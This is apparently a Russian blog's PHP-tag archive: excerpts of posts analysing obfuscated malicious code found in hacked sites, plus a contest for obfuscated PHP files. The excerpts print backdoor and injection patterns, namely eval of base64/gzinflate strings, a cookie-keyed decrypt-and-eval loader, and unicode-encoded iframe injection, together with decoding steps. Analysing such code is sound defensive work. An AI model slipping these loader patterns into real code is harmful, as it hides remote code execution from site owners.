Архив метки: PHP

Скрытие кода, метод 5

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ): var s = »; try { new asd[0] } catch (q) { if (q) r = 1; c = String; } if (r && document.createTextNode)… Читать далее »

Скрытие кода, метод 4

Взято из демо-версии DLE: <?php $_F=__FILE__;$_X=’STRING=’;$_D=strrev(‘edoced_46esab’);eval($_D(‘STRING2==’));?> В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла: $_F = __FILE__; $_X = ‘STRING=’; $_D = strrev( ‘edoced_46esab’ ); eval( $_D( ‘STRING2==’ ) ); edoced_46esab – это всего лишь… Читать далее »

Скрытие кода, метод 3

Не совсем PHP, но тоже может быть интересно. Для вставки в страницы вредительского кода, в частности блоков iframe, используют javascript и данные, закодированные в unicode: <script type="text/javascript">document.write(‘\u003c\u0069\u0066\u0072\u0061\u006d\u0065’)</script> Раскодировать можно с помощью PHP: $str = "\u003c\u0069\u0066\u0072\u0061\u006d\u0065"; $str = preg_replace( "/\\\\u([0-9a-f]{3,4})/i", "&#x\\1;", $str ); $str = html_entity_decode( $str, null, ‘UTF-8’ ); echo $str . "\n"; Чтобы посмотреть,… Читать далее »

Скрытие кода, метод 2

Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода. @eval(decrypt("CODECODE==",$_COOKIE[‘HASH’])); exit; function decrypt($txt,$key){ $txt=base64_decode($txt); $res=""; for($i=0; $i<strlen($txt); $i++){ $c=substr($txt,$i,1); $kc=substr($key,($i%strlen($key))-1,1); $c=chr(ord($c)-ord($kc)); $res.=$c; } return $res; Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой:… Читать далее »

Скрытие кода, метод 1

Один из самых популярных способов скрыть код, часто встречается в темах WordPress и других движков и иногда в самих движках. Код выглядит следующим образом: eval(base64_decode("CODECODECODE==")); eval(gzinflate(base64_decode("CODECODECODE=="))); Первый вариант ломается легко, стоит только раскодировать строку из base64, второй – сложнее, нужно запихнуть все в переменную и сохранить в файл: $text = gzinflate(base64_decode("CODECODECODE==")); $fp = fopen(‘decoded.txt’, ‘w’);… Читать далее »

Конкурс c призами

Конкурс на самый самый самый круто закодированный PHP-файл. 1 место – 500 грн 2 место – 100 грн работы 🙂 присылайте на hahack /собака/ netspider.kiev.ua условия: — код может быть как вашим, так и позаимствованным из откуда угодно; интересные кодировки бывают во всяких вирусах или платных скриптах. — файл должен быть автономным и работоспособным, т.е.… Читать далее »

Отслеживаем IP

В джумле (и подобных изваяниях) часто встречается компонент отвечающий за отправку почты – PHPMailer. Очень полезным свойством этой приблуды этого класса есть маркировка письма заголовком со своей версией. Выглядит эта строка так (файл libraries/phpmailer/phpmailer.php): $result .= $this->HeaderLine(‘X-Mailer’, ‘PHPMailer (phpmailer.sourceforge.net) [version ‘ . $this->Version . ‘]’); Это хорошо, но иногда не мешало бы видеть IP-адрес отправителя… Читать далее »